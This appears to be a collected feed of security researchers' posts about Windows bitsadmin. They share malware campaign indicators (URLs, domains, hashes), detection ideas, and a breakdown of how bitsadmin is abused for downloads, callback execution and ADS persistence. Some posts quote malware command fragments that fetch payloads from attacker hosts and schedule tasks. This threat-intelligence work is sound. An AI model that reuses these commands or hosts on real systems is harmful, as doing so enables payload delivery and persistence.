#bitsadmin

Only #bitsadmin /transfer to dl files? Nay One can also create a #job (can be empty string) to dl files, even set #headers (#setcustomheaders), set a callback to run a command after completion (#setnotifycmdline)! working:

Working on a @sigma_hq rule for susp #bitsadmin download. Looks for - susp url - susp file ext - IP in url - susp download folder I have whitelisted what noise I had seen. Need help from the folks with SIEMs (@NathanMcNulty😉) to filter out some more FPs

#hta with plain #VBScript -> #bitsadmin (VT 3/58) 159355ff86aed19de50f3e78800f3749030f832521a93c2460a8dcca43d3c4e2 #njrat https[://filetransfer.io/data-package/yovW0lpr/download

"Relazione di notifica atto" #ursnif #italy with #bitsadmin /transfer msd5 /priority foreground /bob.suzetrust.com/pagjory63.php and schtasks /create /st 16:05 /sc once /tn pUm /tr Samples (vbs and payload) @CertPa @VirITeXplorer @SettiDavide89

#RYUK is active once again. Confirmed #Cobalt hosted on jomamba[.]best IP 95.179.219[.]169 | Interesting usage of #bitsadmin instead of vintage COPY commands. Worth auditing #BITS usage!

@VirITeXplorer @JAMESWT_MHT @58_158_177_102 @BleepinComputer @virusbtn @demonslay335 @struppigel @peterkruse @fwosar @martijn_grooten @malwrhunterteam I would also add that Ryuk is spread via the initial TrickBot installs through Powershell Empire and/or Cobalt Strike framework specifically. Emotet is not a "banking Trojan"; it had "banking malware" capabilities in ~2014 moving more into loader-as-a-service since.

#VBScript utilizes #bitsadmin to dl #PE (seems to be #qbot) hxxp://proto.thriftyhealthyandhappy.com/scintillating.png hxxp://ank.tastywieners.com/ubiquitous.png hxxp://horse.tastywienersonwheels.com/nouveau-riche.png hxxp://old.oshkoshrugby.com/caustic.png url + ?bg=sp39&os=&av=

Using #bitsadmin for #C2 communications isn’t the stealthier way of working but… if it works! ;-) #Botconf2023

#Bitsadmin es una utilidad de transferencia en segundo plano incluido en Windows desde XP, facilita la transferencia asíncrona y acelerada de archivos que usan ancho de banda de red inactivo. Lo usan muchas apps como Chrome, Firefox, Windows Update y cientos de malwares...

📡 Abusing #bitsadmin for Covert Execution Bitsadmin, a deprecated but still-present Windows binary, was originally designed to manage file transfers in the background using the Background Intelligent Transfer Service (BITS). Despite its benign purpose, it can be abused as a Living-Off-The-Land Binary and Script (#LOLBAS) to download and execute arbitrary payloads, disguise persistence, and evade detection through alternate data streams (ADS). This behavior aligns with multiple MITRE ATT&CK® techniques such as T1105 (Ingress Tool Transfer), T1218 (System Binary Proxy Execution), and T1564.004 (NTFS File Attributes - ADS). --- 🧱 #Technique Breakdown bitsadmin can be abused in multiple use cases such as: > File #Download: Arbitrary executables (e.g., calc.exe) can be downloaded from remote sources and saved locally. > Command #Execution: Once downloaded, payloads can be executed via SetNotifyCmdLine, triggering binary execution upon job completion. > #Persistence via ADS: Code can be hidden in NTFS alternate data streams. > #Proxy Execution: As a trusted Windows binary, bitsadmin.exe can serve as an indirect launcher, bypassing some application control policies. --- 🐍 PoC Automation via #Python The following script automates the entire exploit chain: > Sets up a local HTTP server to host the payload > Downloads the payload using bitsadmin > Executes it via a SetNotifyCmdLine callback > Cleans up all artifacts post-execution This method avoids the need for dropping new executables by leveraging signed Windows tools, making detection significantly harder. - Project @ Github: --- 🔍 #Detection & #Mitigation > Monitor bitsadmin.exe child process activity. > Look for job creation with suspicious file transfers or ADS involvement. > Restrict or disable usage of bitsadmin.exe via AppLocker or WDAC. > Monitor NTFS alternate data streams and flag execution attempts. - #CyberSecurity #LOLBAS #OffensiveSecurity #RedTeam #PenetrationTesting #BlueTeam #InfoSec #Offsec #Logisek

"Relazione di notifica atto" #ursnif #italy with #bitsadmin /transfer msd5 /priority foreground /dod.suze10n1.com/pagjory63.php yet with link to #googledrive fake pdf -> /dod.suzienow.com/jogghfptu=w?bqa=3 @VirITeXplorer @CertPa

#interesting sample IOCs #bitsadmin + #certutil @James_inthe_box @kafeine @malwrhunterteam @Arkbird_SOLG @VK_Intel

#Sload campaign using #bitsadmin targets #Italy @JAMESWT_MHT @malwrhunterteam @luc4m @JayTHL @dvk01uk @JRoosen @reecdeep @James_inthe_box

Ultima entrega del articulo sobre Post-explotación en #Windows escrito por nuestro colaborador @mikelcobas Obtención de recursos y uso de herramientas, servicios y #scripts. Uso de la herramienta #BITSADMIN

#rtf document --> #bitsadmin command hxxp://tpreiastephenville.com/jazz.exe 729fdbb4b840234dc48fd13770d6811908aac73d3e76228a9aa02a8f776d9cbf

Campagna 🇮🇹 #Ursnif a tema #AgenziaEntrate utilizza #bitsadmin 📬 Oggetto: "Commissione di vigilanza sul registro tributario" ⚔️ TTP: Email > Link > RAR > HTA > bitsadmin > DLL 💣 Disponibili gli #IoC 👇 🔗 Telegram:

#malware using #bitsadmin command to dl the malware. #rtf -> #ole object -> cmd (bitsadmin). Using #rtfobj to extract the ole file.

#malspam 🇮🇹 PEC with #bitsadmin #powershell drops #sload ver=4.2.6 gtag=x2401 🧐🧐🧐 @malwrhunterteam @reecdeep @James_inthe_box @JAMESWT_MHT @malware_traffic @Racco42 @makflwana @pollo290987